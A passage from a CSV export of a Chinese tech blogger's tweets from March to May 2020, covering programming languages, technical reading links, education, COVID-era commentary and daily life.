tcourl='https://t.co/pZD8xJXhtn', indices=(29, 52)), TextLink(text='issues.apache.org/jira/browse/KA…', url='https://issues.apache.org/jira/browse/KAFKA-9119', tcourl='https://t.co/Qwfa8V2Wor', indices=(61, 84))]\",https://twitter.com/haoel/status/1262317934350745603\n4124,1262195422430294016,2020-05-18 01:36:53+00:00,135,32,7,,一些公司都会在前端的console.log里放上招聘信息，除此以外，你还要学会在HTTP头里找相关的招聘信息 https://t.co/mzuCiku9y1,\"[TextLink(text='frenxi.com/http-headers-y…', url='https://frenxi.com/http-headers-you-dont-expect/', tcourl='https://t.co/mzuCiku9y1', indices=(55, 78))]\",https://twitter.com/haoel/status/1262195422430294016\n4125,1262063176780099584,2020-05-17 16:51:24+00:00,21,2,0,,加油！,,https://twitter.com/haoel/status/1262063176780099584\n4126,1261461039163432962,2020-05-16 00:58:43+00:00,0,0,1,,@ZheranZhang 你这逻辑……,,https://twitter.com/haoel/status/1261461039163432962\n4127,1261256232007917568,2020-05-15 11:24:53+00:00,113,19,13,,阿里云官网对自建 K8S 的成本和风险提示……嗯，我司将致力于消除这样的成本和风险，让你在任何地方都可以轻松地自建包括并不限于K8S的Cloud Native的开源产品…… https://t.co/FQ2UR39pMj,,https://twitter.com/haoel/status/1261256232007917568\n4128,1260793121559863297,2020-05-14 04:44:39+00:00,1,0,0,,@plusplus7_cn 如果你看见一坨屎，你本来想铲干净，但最后发现你只能描着这坨屎走……,,https://twitter.com/haoel/status/1260793121559863297\n4129,1260792690897113089,2020-05-14 04:42:56+00:00,20,9,6,,NB啦，可惜不是我的Laura……,,https://twitter.com/haoel/status/1260792690897113089\n4130,1260744464558985216,2020-05-14 01:31:18+00:00,8,3,0,,赞！,,https://twitter.com/haoel/status/1260744464558985216\n4131,1260595275502022657,2020-05-13 15:38:29+00:00,0,0,0,,@leonson 哦,,https://twitter.com/haoel/status/1260595275502022657\n4132,1260459845968375811,2020-05-13 06:40:20+00:00,141,24,14,,真是劳动密集型的韭菜码农啊，是比谁代码写得多，比谁辛苦么？难道不是比谁不辛苦，谁用更小的efforts解决更大的问题吗？你996写几十万行代码一文不值，但有人写一百行代码可以让人付费几十万……,,https://twitter.com/haoel/status/1260459845968375811\n4133,1260244334126854144,2020-05-12 16:23:58+00:00,42,8,1,,\"If you felt lost, those stories could be helpful - \"\"is it possible to be a software engineer at age 42? \"\" \nhttps://t.co/6oGZ5OJ5jn\",\"[TextLink(text='quora.com/Is-it-possible…', url='https://www.quora.com/Is-it-possible-to-be-a-software-engineer-at-age-42', tcourl='https://t.co/6oGZ5OJ5jn', indices=(107, 130))]\",https://twitter.com/haoel/status/1260244334126854144\n4134,1260197016283430912,2020-05-12 13:15:56+00:00,206,53,2,,\"和数学相关的一些“魔法级”的算法（脑洞太大了）\nhttps://t.co/Vk0ROSPb8A\",\"[TextLink(text='aggregate.org/MAGIC/', url='http://aggregate.org/MAGIC/', tcourl='https://t.co/Vk0ROSPb8A', indices=(24, 47))]\",https://twitter.com/haoel/status/1260197016283430912\n4135,1259422850273800192,2020-05-10 09:59:41+00:00,138,13,17,,苹果相册在今天母亲节给我的推荐…… https://t.co/oQo8f0TNe8,,https://twitter.com/haoel/status/1259422850273800192\n4136,1258997153772388353,2020-05-09 05:48:07+00:00,5,0,0,,@khtam 言下之意是现在的年轻人更娇嫩更功利了。,,https://twitter.com/haoel/status/1258997153772388353\n4137,1258957744691802112,2020-05-09 03:11:31+00:00,2,0,0,,@fswordlee 你这逻辑啊……,,https://twitter.com/haoel/status/1258957744691802112\n4138,1258788932667314176,2020-05-08 16:00:43+00:00,326,37,62,,\"谁说我这代的技术不多，列一下我学过而被淘汰的技术！\n\n- MIS：FoxPro，PowerBuilder，Delphi\n- OA：Lotus Notes，VBScripts \n- 微软：ODBC/ADO，COM/DCOM \n- 服务器：AIX，HP-UX，SCO \n- Web：CGI，ISAPI，SOAP \n- RPC：CICS，Tuxedo \n- J2EE：Websphere，Weblogic \n- DB：Sybase，Informix\",,https://twitter.com/haoel/status/1258788932667314176\n4139,1258034004495699970,2020-05-06 14:00:54+00:00,323,74,79,,\"我来帮你理一个——\n\n在电脑上访问Google ★\n在手机上访问Google ★ ★\n上Youtube看4K视频 ★ ★ ★ \n谷歌Play  切苹果美区★ ★ ★\n国际支付  美帝手机号 ★ ★ ★ ★\n在重大时刻  梯子不倒★ ★ ★ ★ ★\",,https://twitter.com/haoel/status/1258034004495699970\n4140,1257582974322655232,2020-05-05 08:08:40+00:00,522,78,51,,看了一下《后浪》看到这么多的年轻人生活的这么精彩，真是太羡慕了，能够到世界上这么多的地方去游玩去体验，又有钱又有时间，相比之下，我们70后年轻的时候就惨太多了，唯一值得骄傲的就是我们年轻的时候，互联网还可以自由访问……,,https://twitter.com/haoel/status/1257582974322655232\n4141,1257545196381728768,2020-05-05 05:38:33+00:00,1050,205,125,,昨天我发现英文教科书中的低级问题后。我跟孩子学校的英语老师反映这个问题，希望老师在讲课的时候能够告诉学生教材是错的，结果老师说，会提示学生的，但还是要按教材讲的，不然考试就拿不到分了……我实然意识，现在好多事好多人都这样，拿分最重要，对错和真相已经不重要了……老师如此，下一代呢？,,https://twitter.com/haoel/status/1257545196381728768\n4142,1257203567753957376,2020-05-04 07:01:02+00:00,1201,295,25,,\"正常人应该怎么问？\n- what's up?\n- what’s going on?\n- what’s the issue?\n- are you okay?\n- what's the matter?（千万不能带with you）\n\n好的教科书一一BBC英文启蒙：https://t.co/uui7N0nip8  46分50秒\",\"[TextLink(text='b23.tv/BV1ts411A7QR/p1', url='https://b23.tv/BV1ts411A7QR/p1', tcourl='https://t.co/uui7N0nip8', indices=(130, 153))]\",https://twitter.com/haoel/status/1257203567753957376\n4143,1257200294816919552,2020-05-04 06:48:02+00:00,8,0,0,,@wangandynus @tinyfool 根因是思路不对，说什么都没用,,https://twitter.com/haoel/status/1257200294816919552\n4144,1257197022773252097,2020-05-04 06:35:02+00:00,0,0,2,,@wangandynus @tinyfool 至少，这是北京市小学用的教科书，左上角有国家教委审定字样……,,https://twitter.com/haoel/status/1257197022773252097\n4145,1257195870979686400,2020-05-04 06:30:27+00:00,30,0,1,,@wangandynus @tinyfool 教育部审定的义务教育教科书 https://t.co/295mHTItLf,,https://twitter.com/haoel/status/1257195870979686400\n4146,1257190088007512064,2020-05-04 06:07:29+00:00,1181,351,191,,今天看了孩子的英文教科书，四年级下册，第二单元，讲医生看病方面的，看到教科书里大量使用What’s wrong with you?的句式，你就知道我说的，放着世界上优秀的教科书不用，硬要自己写，是个什么意思了…… https://t.co/pXGRtushiK,,https://twitter.com/haoel/status/1257190088007512064\n4147,1256982936844251141,2020-05-03 16:24:20+00:00,2,0,0,,@Matthew20200228 @Imchenjiaojiao @laoyang945 这个图中唯一有价值的东西😂,,https://twitter.com/haoel/status/1256982936844251141\n4148,1256917791044591617,2020-05-03 12:05:28+00:00,13,0,6,,@Imchenjiaojiao @laoyang945 为什么长图不糊？,,https://twitter.com/haoel/status/1256917791044591617\n4149,1256549750695817216,2020-05-02 11:43:00+00:00,0,0,1,,@tinyfool 买不起,,https://twitter.com/haoel/status/1256549750695817216\n4150,1256453296010653697,2020-05-02 05:19:44+00:00,1,0,1,,@tinyfool 五一假期啊,,https://twitter.com/haoel/status/1256453296010653697\n4151,1256452936743317504,2020-05-02 05:18:18+00:00,66,6,7,,《挖鼻史》竟然有这样的书…… https://t.co/GwINGB78OE,,https://twitter.com/haoel/status/1256452936743317504\n4152,1256407124617211904,2020-05-02 02:16:16+00:00,25,3,3,,居然捅这么深……,,https://twitter.com/haoel/status/1256407124617211904\n4153,1256398652219637760,2020-05-02 01:42:36+00:00,101,25,18,,补上几张图，图1，我爱意大利。图2，我恨意大利，图3，祖国好差，图4，祖国真好…… https://t.co/7dl8eF2tEj,,https://twitter.com/haoel/status/1256398652219637760\n4154,1256266960918081537,2020-05-01 16:59:18+00:00,710,244,64,,关于那个意大利的武汉回国留学生确诊住院后行李被酒店销毁的事…… https://t.co/L7dGJcXkhQ,,https://twitter.com/haoel/status/1256266960918081537\n4155,1256114365993906176,2020-05-01 06:52:56+00:00,3,0,0,,@nishuang 喜感十足……,,https://twitter.com/haoel/status/1256114365993906176\n4156,1256112215884619776,2020-05-01 06:44:24+00:00,1,0,0,,@HunterXue 通过手机翻,,https://twitter.com/haoel/status/1256112215884619776\n4157,1256107505219809280,2020-05-01 06:25:41+00:00,1,0,0,,@paulagent 搞不清楚充分必要条件？,,https://twitter.com/haoel/status/1256107505219809280\n4158,1256038053547655168,2020-05-01 01:49:42+00:00,69,11,23,,科学查明秃子除了基因外，还有一个重要原因是睾丸酮激素分泌旺盛，睾丸酮激素影响包括性欲、力量、免疫功能、并对抗骨质疏松症等。所以，秃子一般表明，性欲很強……,,https://twitter.com/haoel/status/1256038053547655168\n4159,1255785294881714176,2020-04-30 09:05:20+00:00,12,0,2,,努力的Siri https://t.co/wSwzofoMT8,,https://twitter.com/haoel/status/1255785294881714176\n4160,1255779820421578752,2020-04-30 08:43:35+00:00,56,3,10,,CarPlay上的Telegram……👍🏻 https://t.co/WLZ9iZ58Mt,,https://twitter.com/haoel/status/1255779820421578752\n4161,1255086798809649154,2020-04-28 10:49:45+00:00,19,6,3,,如何减肥还能挣钱……,,https://twitter.com/haoel/status/1255086798809649154\n4162,1255025669777457153,2020-04-28 06:46:51+00:00,1,0,0,,@ndimvector @tmutoo 我看的是全部行业。当然，如果你只想呆在游戏行业，我也没问题……虽然，在游戏行业里，lua未来也有很大可能会被其他语言取代……,,https://twitter.com/haoel/status/1255025669777457153\n4163,1254993431002116097,2020-04-28 04:38:45+00:00,10,1,0,,@USAHS1 我不是正在公司的角度，我是站在程序员的角度。,,https://twitter.com/haoel/status/1254993431002116097\n4164,1254988694492069889,2020-04-28 04:19:55+00:00,1,0,1,,@shenzhe 哪也要看你学哪门语言了，学某些语言你可能就学不到基础,,https://twitter.com/haoel/status/1254988694492069889\n4165,1254987709602390016,2020-04-28 04:16:01+00:00,2,0,2,,@tmutoo 完全没有误会，你要命lua写上层复杂的业务逻辑，你就会知道lua有多不好用了……总之每个语言都其适用场景，我觉得lua就是一个弱语言，可以解决一些小事，大事还是交给更高级的语言,,https://twitter.com/haoel/status/1254987709602390016\n4166,1254974994964086785,2020-04-28 03:25:29+00:00,530,139,66,,上周六做了个关于Rust语言编程范式的直播，然后大家问了我很多编程语言的问题，我就即兴地写了一个PPT，事后我又精修了一下这个PPT，现在分享出来（免攻击声明：纯粹是我个人主观观点，欢迎喷观点，但不要对我进行人身攻击） https://t.co/9o9ez4dyxA,,https://twitter.com/haoel/status/1254974994964086785\n4167,1254809708214419467,2020-04-27 16:28:42+00:00,6,0,1,,Joan Jett &amp; The Blackhearts - I Hate Myself for Loving You (Official Video) https://t.co/KHBf4bUTzO,\"[TextLink(text='youtu.be/bpNw7jYkbVc', url='https://youtu.be/bpNw7jYkbVc', tcourl='https://t.co/KHBf4bUTzO', indices=(80, 103))]\",https://twitter.com/haoel/status/1254809708214419467\n4168,1253915558233300995,2020-04-25 05:15:40+00:00,3,0,1,,@sagacity 没事，就这样了,,https://twitter.com/haoel/status/1253915558233300995\n4169,1253913831052414976,2020-04-25 05:08:48+00:00,1,0,1,,@sagacity 原来是Selina啊，居然没注意到,,https://twitter.com/haoel/status/1253913831052414976\n4170,1253910100668022784,2020-04-25 04:53:59+00:00,423,94,20,,我靠，这个不是阿里的，这个是我2015－2016年给某些公司做咨询时我自己总结自创的……目前还在我的便签里呢…… https://t.co/bZobXeF6oV,,https://twitter.com/haoel/status/1253910100668022784\n4171,1253144750607093760,2020-04-23 02:12:45+00:00,87,13,15,,北京西二环阜城门桥西侧…… https://t.co/g6PbxBEEGK,,https://twitter.com/haoel/status/1253144750607093760\n4172,1251552250595471360,2020-04-18 16:44:43+00:00,6,0,4,,YouTube Music 歌神啥时改叫张如城了？https://t.co/C2JgDNSuys 我还Google了一下张如城…… https://t.co/JVEwZGL7id,\"[TextLink(text='music.youtube.com/channel/UCSdxc…', url='https://music.youtube.com/channel/UCSdxcm9HfRCubJBhW92QoFQ', tcourl='https://t.co/C2JgDNSuys', indices=(25, 48))]\",https://twitter.com/haoel/status/1251552250595471360\n4173,1251455231847620608,2020-04-18 10:19:12+00:00,410,122,19,,如何在AWS上架构一个Wordpress。下面有两个架构图（第二个图是带Auto Scaling的），你不要以为这个是段子，AWS可是认真的，参看官方博客：《WordPress: Best Practices on AWS 》https://t.co/kD5lkusWtG 以及相关的PDF白皮书 https://t.co/7SfGyuo0MS （ps刚才转了个推，有人以为是段子，重发一下） https://t.co/OCFrKxqn46,\"[TextLink(text='aws.amazon.com/cn/blogs/archi…', url='https://aws.amazon.com/cn/blogs/architecture/wordpress-best-practices-on-aws/', tcourl='https://t.co/kD5lkusWtG', indices=(113, 136)), TextLink(text='d1.awsstatic.com/whitepapers/wo…', url='https://d1.awsstatic.com/whitepapers/wordpress-best-practices-on-aws.pdf', tcourl='https://t.co/7SfGyuo0MS', indices=(149, 172))]\",https://twitter.com/haoel/status/1251455231847620608\n4174,1251454432438415361,2020-04-18 10:16:02+00:00,0,1,0,,@_CloudHuang 不是段子啊 https://t.co/kD5lkusWtG,\"[TextLink(text='aws.amazon.com/cn/blogs/archi…', url='https://aws.amazon.com/cn/blogs/architecture/wordpress-best-practices-on-aws/', tcourl='https://t.co/kD5lkusWtG', indices=(19, 42))]\",https://twitter.com/haoel/status/1251454432438415361\n4175,1251390176703574016,2020-04-18 06:00:42+00:00,386,117,13,,\"“一个知识越贫乏的人，越是拥有一种莫名奇怪的勇气和一种莫名奇怪的自豪感，因为知识越贫乏，所相信的东西就越绝对”\n\n“标语化的思维是最便捷的，因为标语化的思维是不需要思考的，一个标语化思维的人，其实已经中毒被蛊惑了，他已经缺乏了自己独立思考的能力。”\n\nhttps://t.co/NvVC1LDq2m\",\"[TextLink(text='b23.tv/BV1rk4y1R7id', url='https://b23.tv/BV1rk4y1R7id', tcourl='https://t.co/NvVC1LDq2m', indices=(126, 149))]\",https://twitter.com/haoel/status/1251390176703574016\n4176,1251334440757760000,2020-04-18 02:19:14+00:00,0,0,1,,@krizex1024 你是用百度搜“催泪弹”吗？,,https://twitter.com/haoel/status/1251334440757760000\n4177,1250993507205931009,2020-04-17 03:44:29+00:00,21,0,2,,我第一眼看到的是计算机的“进程”……😂,,https://twitter.com/haoel/status/1250993507205931009\n4178,1250986194806042624,2020-04-17 03:15:25+00:00,3,0,1,,@hui1zheng4 这种题傻死了……,,https://twitter.com/haoel/status/1250986194806042624\n4179,1250984595459174403,2020-04-17 03:09:04+00:00,61,16,9,,今早，孩子问我什么是“警用催泪喷射器”？我以为她从非预期渠道看来的，我说，拿来我看，结果是小学四年级的语文目标，讲辣椒就讲辣椒，提什么催泪弹，还害我上网搜催泪弹的视频给孩子看，一搜结果还全是香港的，孩子看了后问题更多了……（汗😓） https://t.co/DmGQvd5pMA,,https://twitter.com/haoel/status/1250984595459174403\n4180,1250945945895723008,2020-04-17 00:35:29+00:00,17,2,4,,中老年表情包,,https://twitter.com/haoel/status/1250945945895723008\n4181,1250370719583588352,2020-04-15 10:29:44+00:00,3,1,1,,@Brooooook_lyn 你得有多敏感啊……,,https://twitter.com/haoel/status/1250370719583588352\n4182,1250369849001271299,2020-04-15 10:26:17+00:00,87,2,26,,不应该是晒自己做的么？我来自己包的的包子吧！ https://t.co/e98DIDAoYL,,https://twitter.com/haoel/status/1250369849001271299\n4183,1250263124499779584,2020-04-15 03:22:12+00:00,47,5,7,,准备颠覆世界重新定义人类的区块链公司实在是找不到活路了么…… https://t.co/wG7TK2sdnx,,https://twitter.com/haoel/status/1250263124499779584\n4184,1250259489397207041,2020-04-15 03:07:45+00:00,364,73,22,,非常感谢@cloudwu 寄来新版的经典书《The Pragmatic Programmer》。不知道现在的程序员是否还会看这样的书？还是只是把代码写出来交差就好？正如书中这句话一样“人生是你的”，你可以过成一个码农，也可以过成一个工匠，或许两者的薪水都差不多，但人生的体验与满足感的差距只有自己才知道…… https://t.co/jFKIWmPJMX,,https://twitter.com/haoel/status/1250259489397207041\n4185,1249962947901710336,2020-04-14 07:29:24+00:00,140,8,20,,感觉NMSL要成国际通用词汇了，这得感谢粉红们怒怼全世界，影响力杠杠的……,,https://twitter.com/haoel/status/1249962947901710336\n4186,1249951659041554432,2020-04-14 06:44:33+00:00,6,0,0,,@bigzhu 你这么一提醒，那我就正式洗一洗吧,,https://twitter.com/haoel/status/1249951659041554432\n4187,1249949102395101184,2020-04-14 06:34:23+00:00,1,0,0,,@LesserP71079235 @jis_jor 其实你们也没get到我的语境，但我也不想解释，反正就是图一乐……,,https://twitter.com/haoel/status/1249949102395101184\n4188,1249897539454636032,2020-04-14 03:09:30+00:00,199,32,22,,昨晚平淡地转发了这个微博，但引来了一些人各种骂。这里我需要真心地关心一下这些人，像你们这样敏感易怒体质，即不利于自己的身心健康，也不利于个人的成长，也很容易被煽动。原因可能是过去积累了很多的仇恨、自悲等负面的情绪，长期以往容易导致精神抑郁或是其实心理疾病的。控制情绪，关爱自己。,,https://twitter.com/haoel/status/1249897539454636032\n4189,1249734208102121473,2020-04-13 16:20:28+00:00,23,0,0,,@tinyfool 没有，至少在技术方面是没有,,https://twitter.com/haoel/status/1249734208102121473\n4190,1249731847820468224,2020-04-13 16:11:06+00:00,577,145,44,,粉红们纷纷表示被精准伤到要害了…… https://t.co/hTvNcJMws2,,https://twitter.com/haoel/status/1249731847820468224\n4191,1249717326284349446,2020-04-13 15:13:23+00:00,50,12,0,,期待未来能更成git history的风格，或是把 twitter 的后台直接完全改成 git repo……  嘿嘿嘿…… https://t.co/1YKWon37Wj,,https://twitter.com/haoel/status/1249717326284349446\n4192,1249348640897785856,2020-04-12 14:48:22+00:00,5,0,0,,@killwing 你被我带到数学中的常数中去了，其实，还有很多数字是文 化中有意义的，比如：西方文化中的42和13，中国文化中的9和108等……,,https://twitter.com/haoel/status/1249348640897785856\n4193,1249336087836647424,2020-04-12 13:58:29+00:00,205,30,36,,分别在Google “Meaningful number” 和 “那些有意义的数字”，在英文的网页中，会有pi，黄金分割，欧拉数，42，13，光速，引力常数…… 而中文的网页出现的是：520，1314……等等这类的数……这说明，A)中文社区里的关注点就这样，B)谷歌的中文搜索不行，C)我的中文搜索能力不行，D)我有认知偏见……,,https://twitter.com/haoel/status/1249336087836647424\n4194,1249316189991387136,2020-04-12 12:39:25+00:00,3,0,1,,@PenngXiao @tinyfool 谐音梗，不喜欢啊……,,https://twitter.com/haoel/status/1249316189991387136\n4195,1248957998975729666,2020-04-11 12:56:06+00:00,94,27,0,,\"Free books on reliability (from Google SRE):\n\n- Site Reliability Engineering: How Google Runs Production Systems\n- The Site Reliability Workbook\n- Building Secure &amp; Reliable Systems\n\nhttps://t.co/YOCDBSzkNo\",\"[TextLink(text='landing.google.com/sre/books/', url='https://landing.google.com/sre/books/', tcourl='https://t.co/YOCDBSzkNo', indices=(187, 210))]\",https://twitter.com/haoel/status/1248957998975729666\n4196,1248955043451006983,2020-04-11 12:44:21+00:00,44,5,6,,美国的那个一口京腔的曹操回应别人骂他不配用中国的名人的名字（https://t.co/NhK8tfcHeY）。先不说这个吐槽曹操的这个人的的观点怎么样，我感觉如果网上的键盘侠们在吐槽别人的时候，都用实名认证的账号，然后以录自己的视频上传的方式，我觉得也算是键盘侠和粉红们的一种进步……,\"[TextLink(text='bilibili.com/video/BV1V54y1…', url='https://www.bilibili.com/video/BV1V54y197tS', tcourl='https://t.co/NhK8tfcHeY', indices=(30, 53))]\",https://twitter.com/haoel/status/1248955043451006983\n4197,1248112409274798080,2020-04-09 04:56:01+00:00,1,0,0,,@Yangerhoo 嗯，免运费,,https://twitter.com/haoel/status/1248112409274798080\n4198,1248088868768772096,2020-04-09 03:22:29+00:00,37,1,4,,测试了一下国际物流，4月4日下单，4月5日从美帝的Kentucky发出，4月6日到 Cincinnati ，4月8日到HongKong清关，4月9日早上DHL打电话给让我下楼取货！完成了一件made in china的衣服从疫区到中国的物流…… https://t.co/GaDw8BtDQV,,https://twitter.com/haoel/status/1248088868768772096\n4199,1246457046972502016,2020-04-04 15:18:12+00:00,0,0,0,,@ChinaCommunistP 另外，那些去语法糖、以及同时move两个变量的unsafe的各种骚操作，我觉得，把这些东西整出来就完全没有必要了……,,https://twitter.com/haoel/status/1246457046972502016\n4200,1246446826011504640,2020-04-04 14:37:35+00:00,0,0,1,,@ChinaCommunistP 你说了那么多，无非就是把本来应该是程序员需要了解的细节，推给了编译器罢了……,,https://twitter.com/haoel/status/1246446826011504640\n4201,1246375530506547200,2020-04-04 09:54:17+00:00,188,38,7,,新写一篇【Rust的编程范式】这篇文章主要对比C++探讨Rust的三大概念：所有权，生命周期和Trasit ……另外，这篇文章太长了，不了解C++勿入，容易晕……https://t.co/RxaK0elYEE,\"[TextLink(text='coolshell.cn/articles/20845…', url='https://coolshell.cn/articles/20845.html', tcourl='https://t.co/RxaK0elYEE', indices=(81, 104))]\",https://twitter.com/haoel/status/1246375530506547200\n4202,1246327323483197440,2020-04-04 06:42:44+00:00,209,22,16,,都说Java语言太啰嗦，然而，当你开始把你的面条代码开始进行抽象解耦，分离控制逻辑与业务逻辑，并从简单的lib开始升级成SDK、框架或二次开发平台的时候，你就会知道“啰嗦”的原因了……,,https://twitter.com/haoel/status/1246327323483197440\n4203,1246323381663707141,2020-04-04 06:27:04+00:00,13,0,2,,分享Metallica的单曲《Fade To Black》https://t.co/8Y55400X5O,\"[TextLink(text='music.163.com/song/1695819', url='http://music.163.com/song/1695819', tcourl='https://t.co/8Y55400X5O', indices=(29, 52))]\",https://twitter.com/haoel/status/1246323381663707141\n4204,1245916728862732295,2020-04-03 03:31:10+00:00,0,0,1,,@gadbet 你没看懂吧,,https://twitter.com/haoel/status/1245916728862732295\n4205,1245878664392110080,2020-04-03 00:59:55+00:00,19,4,5,,\"保护民族之光……\n\nhttps://t.co/ydy7OIx6yN\",\"[TextLink(text='bilibili.com/video/av867123…', url='http://www.bilibili.com/video/av86712358/', tcourl='https://t.co/ydy7OIx6yN', indices=(10, 33))]\",https://twitter.com/haoel/status/1245878664392110080\n4206,1245229623949975553,2020-04-01 06:00:52+00:00,14,0,2,,我说的应该是 Chat Folder,,https://twitter.com/haoel/status/1245229623949975553\n4207,1245219171543048193,2020-04-01 05:19:20+00:00,31,0,9,,Telegram 的 Chat Group 真香,,https://twitter.com/haoel/status/1245219171543048193\n4208,1242817582865846283,2020-03-25 14:16:16+00:00,32,2,10,,民主、自由是社会主义的核心价值观啊……,,https://twitter.com/haoel/status/1242817582865846283\n4209,1242286824581517314,2020-03-24 03:07:14+00:00,103,3,20,,咋晚做梦，梦见接了个任务要研发一辆更为清洁能源的汽车，需求里还有个附加是最好不要有加油站或充电桩，因为太占地，最好是能源自驱，第一个原型使用了太阳能蓄，但最大的问题是充电太慢，而且阴天就不行了，然后尝试“准永动机”，发现驱动装置体积太大……最终灵光一闪，发明了上发条的汽车😂😂,,https://twitter.com/haoel/status/1242286824581517314\n4210,1241894418476482560,2020-03-23 01:07:57+00:00,505,234,21,,十年 https://t.co/CXfQS0HdES,,https://twitter.com/haoel/status/1241894418476482560\n4211,1240623349044142081,2020-03-19 12:57:10+00:00,118,32,13,,新华网、凤凰网、头条新闻和李文亮下面的微博评论……李文亮微博下面的评论每一刷都能出现许多暖心的评论…… https://t.co/cui8RiOBly,,https://twitter.com/haoel/status/1240623349044142081\n4212,1240506704082567169,2020-03-19 05:13:40+00:00,1,0,0,,@xlight 嗯，是的,,https://twitter.com/haoel/status/1240506704082567169\n4213,1240503475504418816,2020-03-19 05:00:50+00:00,761,183,38,,\"疫情在全世界爆发后，总会看到嘲笑别国的做法的观点，觉得别国都应该来抄中国的作业。\n\n我们前期的失误，其实是需要反思的。\n\n而我们后期的有效，别的国家也是学不来的——体制和国情不同。\n\n何况，这是场灾难。\n\n不管是嘲笑别国疫情蔓延，还是猛夸自己国家棒，其实都是对灾难和逝者的亵渎。\n\n—— 张文宏\",,https://twitter.com/haoel/status/1240503475504418816\n4214,1240502577726238720,2020-03-19 04:57:16+00:00,22,2,1,,真会玩。另外，zoom还支持动态背景，自己录制一段有自己的视频，然后不断递归下去，就可以玩黑客帝国的 Smith 特工了…… https://t.co/Xsr52lU1xM,,https://twitter.com/haoel/status/1240502577726238720\n4215,1240163123450896386,2020-03-18 06:28:24+00:00,22,7,2,,帮你转发,,https://twitter.com/haoel/status/1240163123450896386\n4216,1239948657341820929,2020-03-17 16:16:11+00:00,230,69,4,,打造最小的Docker镜像，挺好的一个实践教程。Docker Images : Part I - Reducing Image Size https://t.co/k5X2gp86H7,\"[TextLink(text='ardanlabs.com/blog/2020/02/d…', url='https://www.ardanlabs.com/blog/2020/02/docker-images-part1-reducing-image-size.html', tcourl='https://t.co/k5X2gp86H7', indices=(69, 92))]\",https://twitter.com/haoel/status/1239948657341820929\n4217,1239945407997702147,2020-03-17 16:03:16+00:00,23,10,7,,有点可怕……,,https://twitter.com/haoel/status/1239945407997702147\n4218,1239874971242860544,2020-03-17 11:23:23+00:00,50,15,1,,关于高速摄像机，涨知识了 https://t.co/17aGBSYNeA,\"[TextLink(text='youtu.be/vluzeaVvpU0', url='https://youtu.be/vluzeaVvpU0', tcourl='https://t.co/17aGBSYNeA', indices=(13, 36))]\",https://twitter.com/haoel/status/1239874971242860544\n4219,1239800899494543360,2020-03-17 06:29:03+00:00,228,63,38,,\"这种心态基本就是两种lowB心态，一种是，长期觉得自己不行，饥不择食的找自信的自悲心态；另一种是，成绩差的看到别人也考不好时，兴灾乐祸阴暗的小人心态……\n\nhttps://t.co/xefrpF57Rt https://t.co/HrNm0oktpE\",\"[TextLink(text='mp.weixin.qq.com/s/Wl9fppLRhC7Z…', url='https://mp.weixin.qq.com/s/Wl9fppLRhC7ZByub74Cdlg', tcourl='https://t.co/xefrpF57Rt', indices=(78, 101))]\",https://twitter.com/haoel/status/1239800899494543360\n4220,1239742726100287493,2020-03-17 02:37:53+00:00,0,0,1,,@tualatrix 被举报了吧,,https://twitter.com/haoel/status/1239742726100287493\n4221,1239740660707495936,2020-03-17 02:29:41+00:00,43,1,17,,哎，不知不觉就步入老年生活了…… https://t.co/NVekUif352,,https://twitter.com/haoel/status/1239740660707495936\n4222,1239209918722273280,2020-03-15 15:20:42+00:00,107,37,9,,这种现象在以前叫 “阶级成分”，留学生的阶级成分天生注定了无论他们怎么做都是不够红的……（必然会有人会说他们想两头占便宜，并打心里希望他们越惨越好的）,,https://twitter.com/haoel/status/1239209918722273280\n4223,1239209646063140865,2020-03-15 15:19:37+00:00,1,0,0,,@blankyao @btaylor 加油！,,https://twitter.com/haoel/status/1239209646063140865\n4224,1238871598636994560,2020-03-14 16:56:20+00:00,32,1,6,,@tualatrix 没那么高级，基本上就是人肉举报……,,https://twitter.com/haoel/status/1238871598636994560\n4225,1238747981693595648,2020-03-14 08:45:08+00:00,0,0,1,,@junbin666 给个link,,https://twitter.com/haoel/status/1238747981693595648\n4226,1238729811209535488,2020-03-14 07:32:56+00:00,0,0,0,,@JohnTseCN 谢谢！,,https://twitter.com/haoel/status/1238729811209535488\n4227,1238726059517808641,2020-03-14 07:18:01+00:00,0,0,1,,@junbin666 谢谢你细细的修订，我可以为文档加上你的名字吗？,,https://twitter.com/haoel/status/1238726059517808641\n4228,1238673842240798721,2020-03-14 03:50:32+00:00,1,0,2,,@tinyfool @fox5931 你们不但有脑子，还有资料和素材，以及快速找到素材的能力……,,https://twitter.com/haoel/status/1238673842240798721\n4229,1238670947294384130,2020-03-14 03:39:01+00:00,2,0,1,,@ThaddeusJiang @nishuang 这不见得，阅读的体验是非常重要的。所以文字的组织形式和风格是及其重要的。别看文档中的一些东西好像不痛不痒，但是其实很重要。,,https://twitter.com/haoel/status/1238670947294384130\n4230,1238670059393830912,2020-03-14 03:35:30+00:00,3,0,1,,@fox5931 @tinyfool 你们为什么想要啥马上就能找出来？,,https://twitter.com/haoel/status/1238670059393830912\n4231,1238661552602902530,2020-03-14 03:01:42+00:00,475,156,14,,\"快速翻译了一下 Google Technical Writing ，放在Google Doc上，可以评论批注帮助改善。\nhttps://t.co/UDlJUFEDt2\",\"[TextLink(text='docs.google.com/document/d/16a…', url='https://docs.google.com/document/d/16aoMrMGHPIR1i_eUNRvksdDdwcDG6KiOJN6Vfh-n8-s/edit?usp=sharing', tcourl='https://t.co/UDlJUFEDt2', indices=(60, 83))]\",https://twitter.com/haoel/status/1238661552602902530\n4232,1238509794924740608,2020-03-13 16:58:40+00:00,0,0,0,,@phosluo 这设计……,,https://twitter.com/haoel/status/1238509794924740608\n4233,1238499509094629377,2020-03-13 16:17:47+00:00,3,0,0,,@x19591015 应该是@所有人要先取消一下,,https://twitter.com/haoel/status/1238499509094629377\n4234,1238438393773580288,2020-03-13 12:14:56+00:00,3,0,0,,@msf_gray @muzi_ii 其实，我真没在微信公众号上写文章，公众号以前只是为了搜索，现在是为了通知我的博客发文……多少你也要读读我的文章，别以为看见个二维码就发现新大陆了……,,https://twitter.com/haoel/status/1238438393773580288\n4235,1238360045970001920,2020-03-13 07:03:37+00:00,0,0,0,,@tumayun @sofish 都有啊,,https://twitter.com/haoel/status/1238360045970001920\n4236,1238339008305848320,2020-03-13 05:40:01+00:00,4,0,0,,@connnnng @tinyfool 我是反讽用封号来解决问题的方法,,https://twitter.com/haoel/status/1238339008305848320\n4237,1238337697946554368,2020-03-13 05:34:49+00:00,24,2,4,,@tinyfool 我觉可以以牙还牙，把来去之间的微信号封了，看谁损失大……,,https://twitter.com/haoel/status/1238337697946554368\n4238,1238336570442133504,2020-03-13 05:30:20+00:00,0,0,2,,@sofish 